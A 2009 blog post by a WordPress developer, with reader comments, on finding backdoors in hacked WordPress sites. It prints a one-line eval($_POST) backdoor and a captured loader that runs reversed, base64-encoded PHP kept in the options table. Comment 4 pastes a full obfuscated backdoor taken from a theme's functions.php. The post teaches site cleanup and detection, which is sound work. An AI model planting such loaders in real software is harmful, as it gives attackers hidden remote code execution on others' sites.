Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post. 🙂

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:

  • A backdoor is code that has been added to your site.
  • It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
  • It will be disguised to seem innocuous, or at least non threatening.
  • It will most likely involve additions to the database.

Let’s go over these individual points one at a time.

Added code

While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:

eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code

First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise

This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation

Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
  1. It retrieves a value from the WordPress database.
  2. It pulls a specific section of that value out.
  3. It creates a function to run that value as PHP code.
  4. It runs that function.

Note how it cleverly avoids all the warning signs.

  • Nowhere does it use “eval”.
  • base64 is not visible at all.
  • The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.

The actual value in the database looked like this:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

  1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
  2. That code, which does not use any trigger words, loads a nondescript value from the options table.
  3. It performs some string operations on that code, then executes it.
  4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

Summary

This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

Shortlink:

103 Comments

  1. Often these backdoors are inserted with a server “owner” eg. apache:apache rather than an FTP user, and if you spot the hack straight away you can also filter by date and check for new files of that day: This will often locate a poorly hidden backdoor. i.e. you find a file in /uploads/ (for example) with todays date and the owner is apache:apache.

  2. […] Find the hacker backdoor that leaves you vulnerable: See Otto on removing hacker backdoors […]

  3. Even though this exploit is a few years old, I’m still seeing it happening on many websites.

  4. I found a bunch of spammy links on the homepage of my site, looked further and found this in my functions. I’m fairly certain the hacker came in through the server. It’s a shared server and I was able to thumb my way up through the folders until I was inside the server and back down into the other sites hosted there using ftp. I had no idea it was that easy.

    <?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=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"(edoced_46esab(lave'));?>
  5. how to do it manualy from server side, like unix code search/find

    thank you to help

  6. I found pretty much the same code as “thearchitekt” at the top of mu functions.php file inside my theme’s folder.

  7. Just had this happen on one of my sites – trying to clean up now. Lots of harmless looking .php files in the themes and plugin directories.

    This site is hosted on GoDaddy too and is the latest of many hacks of sites I have managed on their shared hosting.

    Is there a best practice way to harden WP instances against this?

  8. hmm . my site have been hacked.. and i got this problem with backdoor, 🙁

  9. I’m a non-technical blogger. How can I go about detecting and removing bad code? When you Google my site, a Cialis ad shows up under my site name.

  10. My site has infected with wp-count.php and was flagged by google. I have already clean it and submitted review request to google but it takes long time. I’m still waiting.

  11. My site was hacked in WP and as a result listed as ‘compromised’ on Google searches. I looked for info online, I scanned it in Sucuri site check with revealed problem files, however, not the specific files, I believe so that you are encouraged to pay for their services. Here is what I did to eventually resolve:

    Upgraded WP to the latest version.
    Downloaded the WP files and copied them over all existing files on my site.
    Deleted all Themes and unnecessary plugins.
    Installed and used a brand new theme
    Created and added my sitemap to Google using the Webmaster Tools
    Fetched as google in the webmaster tools for the site, then submitted index
    I deleted the index.php files, although I don’t think these mattered, these were in wp-content folder
    I re-installed the previous theme I was using

    Then I attempted a search for my site in Google, and it was no longer listed as compromised, as well the Sucuri check is now “Verified Clean”. I think this was a good non-technical way to resolve. I initially tried comparing files and searching through folders….but that would have taken forever. Hope this helps others. I am nos stepping through any and all advice to further secure my site, and have a clean backup now.

  12. Recently our server was compromised where they modified the login profiles across multiple WordPress sites. What they did was rename the admin/user with the ID of #1 to ‘admin’, then changed the password as well (as far as we can tell). Then were able to log in and upload a file that was a ‘file manager’ panel they could summon up. The file was called c70.php. And, they would also remove all the content of the index.php file that came with the active theme.

    As far as we can tell, they used some sort of ‘key’ in the password reset link/function to achieve this. The current real admin person would receive a notification via email that they had requested a password reset. The URL in the email shows the key inserted in the link text.

    Has anyone else seen this? Where server-wide they can modify the admin credentials across several WordPress hosted sites? I’ve been doing nothing but logging into customer accounts and setting up a new main admin profile and deleting the ‘admin’ one.

    • If you’re on a shared hosting server, make sure that users of your server are not able to read other users files, particularly the wp-config.php file. Getting the database password can allow them to connect to the database directly and modify things like the usernames and keys and such. After this, the attack code is largely automated to do much of what you’re describing.

  13. I received this fatal error on one of my wordpress websites: Fatal error: Call to a member function register_handler() on a non-object in /hsphere/local/home/webkab/locksmithonduty24-7.com/wp-includes/media.php on line 1243

    line 1242function wp_embed_register_handler( $id, $regex, $callback, $priority = 10 ) {
    line 1243 global $wp_embed;
    line 1244 $wp_embed->register_handler( $id, $regex, $callback, $priority );

    Is this the hack problem or do I have to look deeper?

  14. I found this code on my website: <blockquote cite="”>

  15. […] How to find a backdoor in a hacked WordPress » Otto on WordPress. […]

  16. I’m sorry, is it just me or was there an offering of a grep command to seek out the hack/backdoor or how to actually clean it up if in fact you were/are hacked? Did I miss that? This basically tells us of ones experience in finding. Not actually tightening things up. Am I wrong?

    • There is no “recipe” for finding hidden backdoors on a site. There’s no line of code that you can run that will always find them. They’re designed to be hidden and hard to find. So what you have to do is to look at everything and be skeptical about it. Having a backup for comparison purposes helps to find what’s changed as well.

      • I understand that but the title of your post I guess insinuates that there is a solution and I don’t know, is it me, I didn’t see that. That’s all. I understand hacks, I realize there is no one solution but in fact many and a lot of work in finding them. I’ve been doing security for 14 years now and just when I think I’ve seen it all I find a new hack that is just mind blowing.

        The title though threw me off. I was expecting to see “How to find a backdoor in a hacked WordPress” and I didn’t. I like to see what others have found and thus the whole reason for writing this.

  17. Today i was hacked and many times people hacked my website and really i have no clue how to stop it. Everytime they change my password seriously i dont understand that how they reach to my users table and change it. also they overwrite the index file. It happens 1 or 2 times in a month. I am fully fed up i am using security plugin also but still gets issues

  18. […] was hacked « WordPress Codex and How to totally purify your hacked wordpress installation and How to find a backdoor in a hacked WordPress and Hardening WordPress « WordPress Codex and tell your host. Change all passwords. Scan your […]

  19. I have been searching a site with the same issue for base64 and it appears in various places throughout OptimisePress Theme & Plugin and Optimise Member. I have assumed (maybe naively) that this is a function they use and not cause of my hack. Time will tell.

  20. This was really helpful insight, thanks for explaining it so eloquently. Now if you can just tell me how to find these hackers – I would like to give them a swift kick in the testes 🙂

  21. It looks like the Genesis framework uses a lot of Eval and base64 codes.

    Hard to know which is legit and what is a hack xD (if a backdoor even exists, as so far I build my website on my own computer using WAMP and downloaded theme’s/plugins (and made a few site specific plugins from snippets on the interwebz)
    So it is probably clean, but it’s always possible that someone puts something in a plugin code ^^ Better prevent than cure I’d say.

    I used a plugin called “Exploit scanner” found so far 5000 “Threats” Most of them being:
    -RSS Hidden/Display:none
    -PHP: Eval()
    -PHP: base64_Decode()
    -PHP: several other decoding or encrypting codes.

  22. Excellent post – it led me to a successful cleansing of an “infected” wordpress blog, where the tricks you outline had been inserted into “functions.php” of the twentyeleven theme. It was inserting a link labeled “viagra bloody nose”, as well as probably enabling a backdoor. There was a large block of base64 encoded text (which I didn’t bother to decode and examine) along with the same strrev/eval tricks used to execute it. All seems to be well now.

    Is it possible that the themes are corrupted at the source and then inherited by unsuspecting users, or are these tricks always applied through straight up password attacks?

    Thank you!

  23. Hey nice article
    just wondering what if I use wordfence which compare my wordpress and installed plugins with the original wordpress and it’s repository for plugins, could I trust that or that process itself might be infected or something else???
    please answer if that can’t do it so we have to check out website regularly for any kind of vulnerability, you know it is really frustrating.

  24. […] the entire hack can be replaced by the hacker in a second once the site goes online. Read about backdoors to get an idea of what you’re up against. If you’re reading this and have not yet been […]

  25. Great article, always search for that footprints to find malicious code. Also I recommend to search if an outdate plugin has security holes. many times we install some plugin and the progrmammer do not update that plugin for months or years.

  26. some script redirect my page to another only when page is cleared. i can’t find injected code

  27. My site minhlapthanh.com warning malware

    Could you help to find malware ?

    Thanks

  28. Hello, how hackers can upload a file that receives code to eval? Thank you.

  29. nice article and comments but can we get some info on tools we can use to find this code? anything that will dramatically speed up our search? i presume it works just like a computer virus where you get your list of trojan and virus names and code samples which are then searched against files and data on your hard drive, i have seen the sucuri website scanner but can someone mention any tools we can download or tell us who leads the way in providing free open source utilities for scanning WP for malicious code as from my experience alone i see WP hacking is a huge problem, i never saw so much website hacking until WP arrived, i’m no expert but i am surprised at how easy it seems to hack WP sites, can’t WP make it more difficult, until then just getting info on the best utilities or security plugins would be very helpful.

    • No “security plugins” will help you. Security is not a thing like a checkbox on a list, it’s a practice, procedure, knowledge of how systems work.

      WordPress is perfectly secure out-of-the-box. Most sites actually get hacked through simple things like using bad passwords, or leaving open systems like FTP and the like. Secure your server itself, practice good security by default, don’t install shady code, and you’re generally fine.

      And if your site gets hacked, my advice would be to figure out how they got in, figure out what you did wrong to allow them in, and then don’t do that anymore. As for fixing the site: Don’t. Wipe it, and restore from your recent backups.

  30. […] see How to completely clean your hacked wordpress installation and How to find a backdoor in a hacked WordPress and Hardening WordPress « WordPress […]

  31. Thanks for the great post. Cybersecurity is a never-ending battle with the bad guys always one step ahead. The only way to reduce their nefarious impact is the sharing of information so we can all learn from each other’s misfortune. It’s really crafty to use the “strrev” function to fool the string search function. Now I know how to use the token “edoced_46esab” and “lave” when searching in the database. Many more thanks for the heads up on those files unmodified by the WordPress updates. I now have the wp-config.php file in my radar as well as those index.php files in the wp-content, plugins and themes folders. I’ve already locked down the execution of PHP scripts in the “uploads” folder and I keep a close eye on those directories.

  32. I’m facing to a malware code never seen before on web.

    I dont know if someone have an idea on how to fixe it.

    The files are stored on .well-known/acme-challenge/

    As result, I have a python mailmanctl command running out then a normal processus make low a server.

  33. I’m facing to a malware code never seen before on web.

    I dont know if someone have an idea on how to fixe it.

    The files are stored on .well-known/acme-challenge/

    As result, I have a python mailmanctl command running out then a normal processus make low a server.

Leave a Reply to Max Mammel Cancel reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

Need to post PHP code? Wrap it in [php] and [/php] tags.